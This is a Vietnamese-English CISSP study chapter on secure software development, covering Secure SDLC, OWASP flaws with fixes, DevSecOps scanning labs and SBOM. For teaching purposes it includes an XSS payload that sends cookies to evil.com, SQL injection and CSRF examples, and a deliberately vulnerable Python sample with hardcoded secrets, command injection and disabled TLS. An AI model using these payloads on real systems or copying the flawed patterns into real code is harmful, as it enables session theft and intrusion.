CISSP · Domain 8 · 10%

Bảo mật phát triển phần mềm

Software Development Security — Domain 8

Domain cuối của CISSP tích hợp bảo mật vào toàn bộ vòng đời phát triển: Secure SDLC, security requirements, secure design patterns, OWASP Top 10 từ góc độ developer, SAST/DAST, SCA, container security, và supply chain security với SBOM. "Security baked in, not bolted on."

Mục tiêu chương / Learning objectives

1 Secure SDLC — Bảo mật theo từng giai đoạn

CISSP nhấn mạnh rằng chi phí sửa lỗi bảo mật tăng theo lũy thừa khi phát hiện muộn: $1 ở requirements, $6 ở design, $100 ở production (IBM Systems Sciences Institute). Shift left security means embedding security activities at each SDLC phase rather than testing only at the end.

Giai đoạn Security Activity Tools / Artifacts
Requirements Security requirements, abuse cases, misuse cases, privacy impact assessment STRIDE, PIA template, abuse case diagrams
Design Threat modeling (STRIDE/PASTA), secure architecture review, trust boundaries Microsoft Threat Modeling Tool, PASTA, DFD
Development Secure coding standards, IDE plugins, pre-commit hooks, peer code review Semgrep, SonarQube, Bandit, ESLint security
Testing SAST, DAST, IAST, penetration testing, fuzz testing, SCA OWASP ZAP, Burp Suite, Trivy, pip-audit
Deployment Container image scanning, secrets management, infrastructure-as-code security Trivy, Checkov, HashiCorp Vault, SBOM generation
Maintenance Vulnerability disclosure, patch management, CVE monitoring, dependency updates Dependabot, Snyk, NVD feeds, VEX documents

Microsoft SDL (Security Development Lifecycle) và OWASP SAMM (Software Assurance Maturity Model) là hai framework phổ biến nhất để đo lường độ trưởng thành của Secure SDLC trong tổ chức. CISSP candidates cần biết sự khác biệt: SDL là prescriptive (bước cụ thể), SAMM là descriptive (mức độ maturity từ 1–3 cho từng practice).

2 Secure Design Patterns

Secure design patterns là các nguyên tắc kiến trúc được áp dụng từ giai đoạn thiết kế để loại bỏ toàn bộ lớp lỗ hổng thay vì patch từng bug. These are engineering decisions, not afterthoughts.

Defense in Depth

Nhiều lớp bảo vệ độc lập — WAF → API Gateway → App validation → DB parameterized queries. Kẻ tấn công phải phá tất cả các lớp. Không có single point of failure về security.

Fail-Secure (Fail Closed)

Khi hệ thống gặp lỗi, mặc định là TỪ CHỐI access (deny-all). Ngược với fail-open. Ví dụ: firewall mất điện → chặn tất cả traffic; auth service down → trả 503, không bypass authentication.

Separation of Privilege

Yêu cầu nhiều điều kiện độc lập để thực hiện hành động nhạy cảm. Ví dụ: 2FA (something you know + something you have), dual-control cho wire transfers, M-of-N secret sharing.

Input Validation & Output Encoding

Validate ALL input (allowlist, not blocklist). Encode output theo context: HTML entity encoding, URL encoding, SQL parameterization. Tách biệt data và code ở mọi trust boundary.

Secure Defaults

Cấu hình mặc định phải là cấu hình an toàn nhất. Users phải chủ động giảm security để dùng tính năng nguy hiểm. Ví dụ: HTTPS-only by default, MFA required, least-privilege RBAC.

Economy of Mechanism

Keep it simple. Mỗi tính năng thêm vào là thêm attack surface. Loại bỏ code/service không cần thiết (YAGNI trong bảo mật). Complexity is the enemy of security.

3 OWASP Top 10 — Root Cause Analysis

CISSP yêu cầu hiểu WHY các lỗ hổng tồn tại và HOW ngăn chặn ngay từ code, không chỉ detect sau khi deploy. Developer perspective: fix the root cause, not the symptom.

A03:2021

SQL Injection — String Concatenation

Root cause: Tạo SQL query bằng cách ghép string với user input, không tách biệt data và command. Attacker inject SQL logic thay đổi query intent.

# VULNERABLE — string concatenation (CWE-89)
query = "SELECT * FROM users WHERE id = " + user_id
# Payload: user_id = "1 OR 1=1" → dumps entire table

# SECURE — parameterized query (prepared statement)
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))

# ORM alternative (SQLAlchemy)
User.query.filter_by(id=user_id).first()

Fix: Parameterized queries / prepared statements / ORM. NEVER build SQL with string concatenation or f-strings.

A03:2021

Cross-Site Scripting (XSS) — Unencoded Output

Root cause: Nhúng user input trực tiếp vào HTML response mà không encode. Attacker inject script thực thi trên browser của victim. Ba loại: Stored (persistent), Reflected, DOM-based.

# VULNERABLE — server-side: raw user input in template
return f"<p>Hello {username}</p>"
# Payload: username = "<script>document.location='evil.com/steal?c='+document.cookie</script>"

# SECURE — use template engine auto-escaping
# Jinja2: {{ username }} auto-escapes to &lt;script&gt;...
return render_template("page.html", username=username)

# SECURE — DOM manipulation: use textContent, not raw property assignment
# Use element.textContent = userInput  (safe, always escaped)
# Instead of direct DOM property injection with raw strings

# SECURE — Content Security Policy header
Content-Security-Policy: default-src 'self'; script-src 'self'

Fix: Output encoding (context-aware), CSP headers, template engine auto-escape, textContent for DOM text nodes.

A01:2021

IDOR — Insecure Direct Object Reference

Root cause: Dùng predictable IDs trong URL/API mà không verify ownership. User A có thể access tài nguyên của User B bằng cách thay đổi ID trong request.

# VULNERABLE — no ownership check
GET /api/invoices/1234
def get_invoice(invoice_id):
    return Invoice.query.get(invoice_id)   # Missing: verify current_user owns it

# SECURE — ownership verification
def get_invoice(invoice_id):
    return Invoice.query.filter_by(
        id=invoice_id,
        user_id=current_user.id
    ).first_or_404()

# BETTER — use UUIDs instead of sequential integers
GET /api/invoices/550e8400-e29b-41d4-a716-446655440000

Fix: Always verify ownership server-side. Use GUIDs instead of sequential IDs. Implement ABAC at the data access layer.

A01:2021

CSRF — Cross-Site Request Forgery

Root cause: Server tin tưởng request từ browser vì có session cookie, không verify request được khởi tạo từ đúng origin. Malicious site forge request thay mặt victim.

# Attacker's page forces victim browser to send:
<img src="https://bank.com/transfer?to=attacker&amount=9999">
# Browser auto-includes session cookie → bank processes transfer

# DEFENSE 1: CSRF token (synchronizer token pattern)
<input type="hidden" name="csrf_token" value="{{ csrf_token() }}">

# DEFENSE 2: SameSite cookie attribute
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

# DEFENSE 3: Custom request header (CORS blocks cross-site)
X-Requested-With: XMLHttpRequest

Fix: CSRF tokens, SameSite=Strict/Lax cookies, verify Origin/Referer headers, double-submit cookie pattern.

4 DevSecOps Pipeline — Security Gates

DevSecOps tích hợp security vào mỗi stage của CI/CD. Security gates block pipeline khi threshold bị vượt. "Break the build" is a feature, not a bug.

# DevSecOps Pipeline Flow (GitHub Actions / GitLab CI)

stages:
  pre-commit:
    - truffleHog secret scan       # Block if secrets committed to repo
    - Semgrep SAST (ruleset)       # Block if critical findings

  build:
    - docker build --no-cache
    - Trivy image scan             # Block if CRITICAL CVEs in image
    - SBOM generation (syft)       # Generate SBOM artifact (SPDX/CycloneDX)

  test:
    - OWASP ZAP DAST               # Dynamic scan against test env
    - pip-audit / npm audit        # Block if HIGH+ SCA findings
    - Bandit (Python) / ESLint     # Language-specific SAST

  staging:
    - Checkov IaC scan             # Terraform/CloudFormation security
    - OPA policy gates             # Compliance as code

  deploy (main branch only):
    - Cosign image signing         # Verify image provenance (SLSA)
    - Vault secrets injection      # Never pass secrets as env vars
    - Runtime security (Falco)     # Detect anomalies post-deploy

Container Security Best Practices

Dockerfile Security

  • Use minimal base images (distroless, alpine)
  • Run as non-root user (USER 1001)
  • Multi-stage builds (no dev tools in prod)
  • Pin image digests, not just tags
  • No secrets in ENV or RUN layers
  • Read-only filesystem where possible

Runtime Security

  • Drop all Linux capabilities, add only needed
  • seccomp profiles (restrict syscalls)
  • AppArmor / SELinux policies
  • Network policies (deny-by-default)
  • Falco rules for anomaly detection
  • Resource limits (prevent DoS)

5 Supply Chain Security — SBOM & Provenance

Log4Shell (CVE-2021-44228) minh họa nguy cơ của transitive dependencies: Log4j được dùng bởi hàng nghìn applications mà nhiều tổ chức không biết. If you don't know what's in your software, you can't patch it when CVEs drop.

Enterprise Scenario: Log4Shell Response

Ngày 10/12/2021: CISA ra Emergency Directive. CISO cần biết ngay: "Chúng ta có dùng Log4j không? Ở đâu?"

  • Với SBOM: Query SBOM inventory → trả lời trong 15 phút → patch targeted systems
  • Không có SBOM: Scan toàn bộ hệ thống với log4j-detector → mất nhiều giờ/ngày → missing some
  • Lesson: SBOM là "software ingredient list" — Executive Order 14028 (Biden, 2021) bắt buộc SBOM cho federal software

SBOM

Software Bill of Materials. SPDX hoặc CycloneDX format. List tất cả components, versions, licenses, dependencies.

Signing & Provenance

Cosign (Sigstore) ký container images. SLSA framework (Supply-chain Levels for Software Artifacts) levels 1–4.

Dependency Management

Dependabot / Renovate tự động PR khi CVE mới. Lock files (pip freeze, package-lock.json). Private registry với approval workflow.

Lab 1 — PowerShell SAST Code Audit

Static Analysis Security Testing — automated vulnerability pattern detection in source code

Windows 11

Workstation

PowerShell 7

Code scanner

Semgrep CLI

SAST engine

Sample Repo

Vuln codebase

PowerShell 7 — SAST Code Audit
# STEP 1: Create vulnerable sample codebase for SAST testing
$vulnDir = "C:\sast-lab\vuln-app"
New-Item -ItemType Directory -Path $vulnDir -Force | Out-Null

# Write Python file containing common security anti-patterns
@'
import sqlite3, os, subprocess

# CWE-798: Hardcoded credential
DB_PASSWORD = "SuperSecret123!"
API_KEY = "sk-prod-abcdef1234567890"

def get_user(user_id):
    # CWE-89: SQL Injection via string concatenation
    conn = sqlite3.connect("users.db")
    query = "SELECT * FROM users WHERE id = " + user_id
    return conn.execute(query).fetchall()

def process_file(filename):
    # CWE-78: OS Command injection via shell=True
    subprocess.run("cat " + filename, shell=True)

def check_cert(hostname):
    # CWE-295: Disabled TLS certificate verification
    import ssl
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    return ctx
'@ | Set-Content "$vulnDir\app.py" -Encoding UTF8

Write-Host "[+] Vulnerable sample app created at $vulnDir" -ForegroundColor Green

# STEP 2: Pattern-based SAST scan (PowerShell-native)
Write-Host "`n[*] Running pattern-based SAST scan..." -ForegroundColor Cyan

$patterns = @{
    "Hardcoded Credential" = @{ Regex = '(?i)(password|passwd|secret|api_key)\s*=\s*["\x27][^"\x27]{6,}["\x27]'; Severity = "CRITICAL"; CWE = "CWE-798" }
    "SQL String Concat"    = @{ Regex = 'execute\s*\(\s*["\x27].*\+|query\s*=.*\+\s*\w+'; Severity = "HIGH"; CWE = "CWE-89" }
    "Shell Injection"      = @{ Regex = 'shell\s*=\s*True'; Severity = "HIGH"; CWE = "CWE-78" }
    "TLS Disabled"         = @{ Regex = 'verify\s*=\s*False|CERT_NONE|check_hostname\s*=\s*False'; Severity = "HIGH"; CWE = "CWE-295" }
    "Debug Mode On"        = @{ Regex = 'DEBUG\s*=\s*True|debug\s*=\s*true'; Severity = "MEDIUM"; CWE = "CWE-215" }
}

$findings = @()
$files = Get-ChildItem -Path $vulnDir -Include "*.py","*.js","*.cs" -Recurse

foreach ($file in $files) {
    $lines = Get-Content $file.FullName
    $lineNum = 0
    foreach ($line in $lines) {
        $lineNum++
        foreach ($checkName in $patterns.Keys) {
            $check = $patterns[$checkName]
            if ($line -match $check.Regex) {
                $findings += [PSCustomObject]@{
                    File     = $file.Name
                    Line     = $lineNum
                    Severity = $check.Severity
                    CWE      = $check.CWE
                    Pattern  = $checkName
                    Code     = $line.Trim()
                }
            }
        }
    }
}

# STEP 3: Display findings grouped by severity
$critical = $findings | Where-Object Severity -eq "CRITICAL"
$high     = $findings | Where-Object Severity -eq "HIGH"
$medium   = $findings | Where-Object Severity -eq "MEDIUM"

Write-Host "`n=== SAST SCAN RESULTS ===" -ForegroundColor White
Write-Host "CRITICAL: $($critical.Count)  HIGH: $($high.Count)  MEDIUM: $($medium.Count)" -ForegroundColor Yellow

foreach ($f in $findings | Sort-Object Severity) {
    $color = switch ($f.Severity) {
        "CRITICAL" { "Red" }
        "HIGH"     { "Yellow" }
        "MEDIUM"   { "Cyan" }
    }
    Write-Host "[$($f.Severity)] $($f.Pattern) — $($f.File):L$($f.Line) [$($f.CWE)]" -ForegroundColor $color
    Write-Host "  Code: $($f.Code)" -ForegroundColor DarkGray
}

# STEP 4: Semgrep SAST scan (install: pip install semgrep)
if (Get-Command semgrep -ErrorAction SilentlyContinue) {
    Write-Host "`n[*] Running Semgrep with OWASP ruleset..." -ForegroundColor Cyan
    semgrep --config "p/owasp-top-ten" --config "p/python" `
            --json --output "$vulnDir\semgrep-results.json" $vulnDir
    $results = Get-Content "$vulnDir\semgrep-results.json" | ConvertFrom-Json
    Write-Host "[+] Semgrep found $($results.results.Count) findings" -ForegroundColor Green
} else {
    Write-Host "[!] Semgrep not installed. Install: pip install semgrep" -ForegroundColor Yellow
}

Write-Host "`n[+] SAST audit complete. Pipeline blocks on CRITICAL/HIGH findings." -ForegroundColor Green

# Expected Output

[+] Vulnerable sample app created at C:\sast-lab\vuln-app
[*] Running pattern-based SAST scan...

=== SAST SCAN RESULTS ===
CRITICAL: 2  HIGH: 3  MEDIUM: 0

[CRITICAL] Hardcoded Credential — app.py:L5 [CWE-798]
  Code: DB_PASSWORD = "SuperSecret123!"
[CRITICAL] Hardcoded Credential — app.py:L6 [CWE-798]
  Code: API_KEY = "sk-prod-abcdef1234567890"
[HIGH] SQL String Concat — app.py:L11 [CWE-89]
  Code: query = "SELECT * FROM users WHERE id = " + user_id
[HIGH] Shell Injection — app.py:L15 [CWE-78]
  Code: subprocess.run("cat " + filename, shell=True)
[HIGH] TLS Disabled — app.py:L20 [CWE-295]
  Code: ctx.check_hostname = False

[!] Semgrep not installed. Install: pip install semgrep
[+] SAST audit complete. Pipeline blocks on CRITICAL/HIGH findings.

Lab 2 — Bash DevSecOps Pipeline Security

Full DevSecOps scan: secrets detection + SAST + SCA + container image scanning

Ubuntu 22.04

CI runner

Semgrep + Bandit

SAST tools

pip-audit / Trivy

SCA + container

truffleHog

Secrets scan

bash — Ubuntu 22.04 CI Runner
#!/bin/bash
# DevSecOps Security Pipeline — CISSP Lab
# Usage: chmod +x devsecops-scan.sh && ./devsecops-scan.sh /path/to/project

PROJECT_DIR="${1:-$(pwd)}"
FAIL=0

echo "=========================================="
echo " DevSecOps Security Pipeline Scanner"
echo " Project: $PROJECT_DIR"
echo "=========================================="

# STAGE 1: Secrets detection
echo -e "\n[STAGE 1] Secret Detection..."
if command -v trufflehog >/dev/null 2>&1; then
    SECRETS_COUNT=$(trufflehog filesystem --directory="$PROJECT_DIR" \
        --only-verified --json 2>/dev/null | wc -l)
    if [ "$SECRETS_COUNT" -gt 0 ]; then
        echo "[CRITICAL] $SECRETS_COUNT verified secret(s) found! Pipeline BLOCKED."
        FAIL=1
    else
        echo "[PASS] No verified secrets detected."
    fi
else
    SECRETS=$(grep -rEn \
        '(password|passwd|secret|api.key|token)\s*=\s*["\x27][^"\x27]{8,}' \
        "$PROJECT_DIR" --include="*.py" --include="*.js" --include="*.env" \
        2>/dev/null | grep -v ".git" | head -20)
    if [ -n "$SECRETS" ]; then
        echo "[HIGH] Potential hardcoded secrets found — review before merge"
        FAIL=1
    else
        echo "[PASS] No obvious hardcoded secrets found."
    fi
fi

# STAGE 2: SAST — Semgrep
echo -e "\n[STAGE 2] SAST — Semgrep..."
if command -v semgrep >/dev/null 2>&1; then
    semgrep --config "p/owasp-top-ten" \
            --config "p/python"        \
            --severity ERROR           \
            --quiet                    \
            --json "$PROJECT_DIR" 2>/dev/null \
        | python3 -c "
import json, sys
data = json.load(sys.stdin)
results = data.get('results', [])
print(f'Semgrep findings: {len(results)}')
for r in results[:10]:
    sev = r['extra']['severity']
    path = r['path']
    line = r['start']['line']
    rule = r['check_id']
    print(f'  [{sev}] {rule} — {path}:{line}')
critical = [r for r in results if r['extra']['severity'] == 'ERROR']
print(f'ERROR severity: {len(critical)}')
sys.exit(1 if critical else 0)
"
    [ $? -ne 0 ] && FAIL=1
else
    echo "[WARN] Semgrep not installed. Install: pip install semgrep"
fi

# STAGE 3: Python SAST — Bandit
echo -e "\n[STAGE 3] Python SAST — Bandit..."
if command -v bandit >/dev/null 2>&1; then
    bandit -r "$PROJECT_DIR" -ll --format json --quiet 2>/dev/null \
        | python3 -c "
import json, sys
data = json.load(sys.stdin)
metrics = data.get('metrics', {}).get('_totals', {})
high = int(metrics.get('SEVERITY.HIGH', 0))
med  = int(metrics.get('SEVERITY.MEDIUM', 0))
print(f'Bandit — HIGH: {high}, MEDIUM: {med}')
for issue in data.get('results', [])[:5]:
    sev  = issue['issue_severity']
    test = issue['test_name']
    fname = issue['filename']
    lnum = issue['line_number']
    print(f'  [{sev}] {test} — {fname}:{lnum}')
sys.exit(1 if high > 0 else 0)
"
    [ $? -ne 0 ] && FAIL=1
else
    echo "[WARN] Bandit not installed. Install: pip install bandit"
fi

# STAGE 4: SCA — pip-audit
echo -e "\n[STAGE 4] SCA — Dependency Vulnerability Check..."
REQUIREMENTS=$(find "$PROJECT_DIR" -name "requirements*.txt" 2>/dev/null | head -1)
if [ -n "$REQUIREMENTS" ] && command -v pip-audit >/dev/null 2>&1; then
    pip-audit -r "$REQUIREMENTS" --format=columns 2>/dev/null
    VULN_COUNT=$(pip-audit -r "$REQUIREMENTS" --format=json 2>/dev/null \
        | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(sum(len(v['vulns']) for v in d['dependencies']))
")
    if [ "$VULN_COUNT" -gt 0 ]; then
        echo "[HIGH] $VULN_COUNT vulnerable dependencies found!"
        FAIL=1
    else
        echo "[PASS] No known vulnerabilities in dependencies."
    fi
else
    echo "[WARN] pip-audit not found or no requirements.txt. Install: pip install pip-audit"
fi

# STAGE 5: Container scan — Trivy
echo -e "\n[STAGE 5] Container Security — Trivy..."
if command -v trivy >/dev/null 2>&1; then
    trivy fs --severity HIGH,CRITICAL "$PROJECT_DIR" 2>/dev/null | tail -20
    [ ${PIPESTATUS[0]} -ne 0 ] && { echo "[CRITICAL] HIGH/CRITICAL CVEs detected!"; FAIL=1; }
else
    echo "[WARN] Trivy not installed. See: https://trivy.dev"
fi

# STAGE 6: SBOM Generation
echo -e "\n[STAGE 6] SBOM Generation..."
if command -v syft >/dev/null 2>&1; then
    syft dir:"$PROJECT_DIR" -o spdx-json > /tmp/sbom.spdx.json 2>/dev/null
    PKG_COUNT=$(python3 -c \
        "import json,sys; d=json.load(open('/tmp/sbom.spdx.json')); print(len(d.get('packages',[])))")
    echo "[PASS] SBOM generated: $PKG_COUNT packages (SPDX format → /tmp/sbom.spdx.json)"
else
    echo "[WARN] syft not installed. Install: curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh"
fi

# FINAL GATE
echo -e "\n=========================================="
if [ $FAIL -eq 1 ]; then
    echo "[BLOCKED] Pipeline FAILED — fix all CRITICAL/HIGH findings before merge"
    echo "          Reference: https://owasp.org/Top10/"
    exit 1
else
    echo "[PASS] All security gates passed — safe to merge"
    exit 0
fi

# Expected Output

==========================================
 DevSecOps Security Pipeline Scanner
 Project: /home/lab/vuln-app
==========================================

[STAGE 1] Secret Detection...
[HIGH] Potential hardcoded secrets found — review before merge

[STAGE 2] SAST — Semgrep...
Semgrep findings: 4
  [ERROR] python.lang.security.audit.sqli — app.py:11
  [ERROR] python.lang.security.audit.subprocess-shell-true — app.py:15
ERROR severity: 2

[STAGE 3] Python SAST — Bandit...
Bandit — HIGH: 3, MEDIUM: 1
  [HIGH] subprocess_popen_with_shell_equals_true — app.py:15
  [HIGH] hardcoded_password_string — app.py:5
  [HIGH] ssl_with_bad_version — app.py:20

[STAGE 4] SCA — Dependency Vulnerability Check...
requests==2.25.1   CVE-2023-32681   HIGH  Proxy-Authorization header leak
urllib3==1.26.5    CVE-2023-43804   HIGH  Header injection vulnerability
[HIGH] 2 vulnerable dependencies found!

[STAGE 5] Container Security — Trivy...
Total: 3 (HIGH: 2, CRITICAL: 1)

[STAGE 6] SBOM Generation...
[PASS] SBOM generated: 47 packages (SPDX format → /tmp/sbom.spdx.json)

==========================================
[BLOCKED] Pipeline FAILED — fix all CRITICAL/HIGH findings before merge
          Reference: https://owasp.org/Top10/

Enterprise Scenario — Supply Chain Attack Response

Tình huống: Ngày thứ Sáu 23:00, CISA thông báo zero-day trong thư viện popular-crypto-lib v2.x. CVSS score: 9.8 CRITICAL. Remote Code Execution.

Response Steps (CISSP Manager Mindset)

  1. Query SBOM: "Chúng ta có dùng popular-crypto-lib không?" → trả lời trong 5 phút
  2. Impact Assessment: Xác định systems affected, data at risk, business impact
  3. Containment: WAF rule block exploitation patterns; isolate high-risk services
  4. Patch: Dependabot PR tự động nếu patch available; manual pin nếu chưa có fix
  5. Verification: Re-run SCA scan để confirm patch applied; update SBOM artifact
  6. Communication: Báo cáo leadership, update CSIRT, notify customers nếu cần

CISSP Exam Key Points

  • Security requirements phải bao gồm abuse casesmisuse cases
  • SAST (static) tìm lỗi trong code; DAST (dynamic) tìm lỗi khi chạy; IAST kết hợp cả hai
  • Parameterized queries là biện pháp DUY NHẤT đáng tin cậy chống SQL Injection
  • SBOM là mandatory cho U.S. federal software supply chain (EO 14028)
  • SLSA Level 4 = hermetic builds + reproducible + verified provenance
  • Chain of custody trong SDLC: code signing → container signing → deployment attestation

CISSP Practice Questions

1. Tổ chức muốn respond nhanh khi CVE mới trong open-source components xuất hiện. Giải pháp tốt nhất là gì?

  • A.Chạy Nessus scan hàng tuần trên production servers
  • B.Require developers submit manual spreadsheet của dependencies
  • C.Generate và maintain SBOM as part of CI/CD pipeline, query automatically on CVE alert
  • D.Subscribe to vendor security bulletins only

SBOM là automated, comprehensive, machine-queryable — cho phép respond trong phút, không phải ngày.

2. Developer dùng query = "SELECT * FROM users WHERE id = " + user_id trong Python web app. Fix tốt nhất là gì?

  • A.Dùng WAF để block SQL keywords trong input
  • B.Parameterized query: cursor.execute("...WHERE id=?", (user_id,))
  • C.Validate user_id is numeric với regex
  • D.Escape single quotes trong user_id

Parameterized queries tách data khỏi code — fix root cause. WAF, validation, escaping chỉ là partial mitigations.

3. User A xem invoice của User B bằng cách thay đổi số ID trong URL. Đây là loại lỗ hổng nào và fix thế nào?

  • A.SQL Injection — dùng parameterized query
  • B.CSRF — thêm CSRF token
  • C.IDOR — verify ownership: filter_by(id=X, user_id=current_user.id)
  • D.XSS — dùng output encoding

IDOR = predictable object reference + missing server-side authorization check.

4. Khi authentication service crash, hệ thống tự động cho phép tất cả users login mà không cần xác thực. Vi phạm secure design pattern nào?

  • A.Defense in Depth
  • B.Separation of Privilege
  • C.Fail-Secure — lỗi nên dẫn đến DENY, không phải ALLOW (fail-open là anti-pattern)
  • D.Economy of Mechanism

Fail-open (allow on error) là anti-pattern nguy hiểm. Correct: trả 503 Service Unavailable khi auth service down.

5. Security team muốn tìm lỗ hổng trong running web application mà không cần access source code. Tool nào phù hợp nhất?

  • A.Semgrep — cần source code (SAST)
  • B.Bandit — Python SAST, cần source code
  • C.OWASP ZAP hoặc Burp Suite — DAST, test against running application, no source needed
  • D.SonarQube — cần source code (SAST)

DAST = black-box testing against live app. SAST = white-box, needs code. IAST = agent inside app runtime (gray-box).

🎓

Hoàn thành Phase 3 — CISSP!

Bạn đã đi qua toàn bộ 8 Domain của ISC2 CISSP — từ Security & Risk Management đến Software Development Security. Đây là nền tảng vững chắc của một Information Security Professional thực sự.

D1 Risk Management ✓ D2 Asset Security ✓ D3 Architecture ✓ D4 Network Security ✓ D5 IAM ✓ D6 Assessment ✓ D7 Operations ✓ D8 Software Security ✓
Tiếp theo: Phase 4A — CCSP Cloud Security

Thông tin chương

Tools

PowerShell 7 · Bash · Semgrep · Bandit · Trivy

Platform

Windows 11 · Ubuntu 22.04

Quý

Q2/2026

Cập nhật

24/05/2026

Tác giả

Trần Văn Hòa (MCT)

Phiên bản

v1.0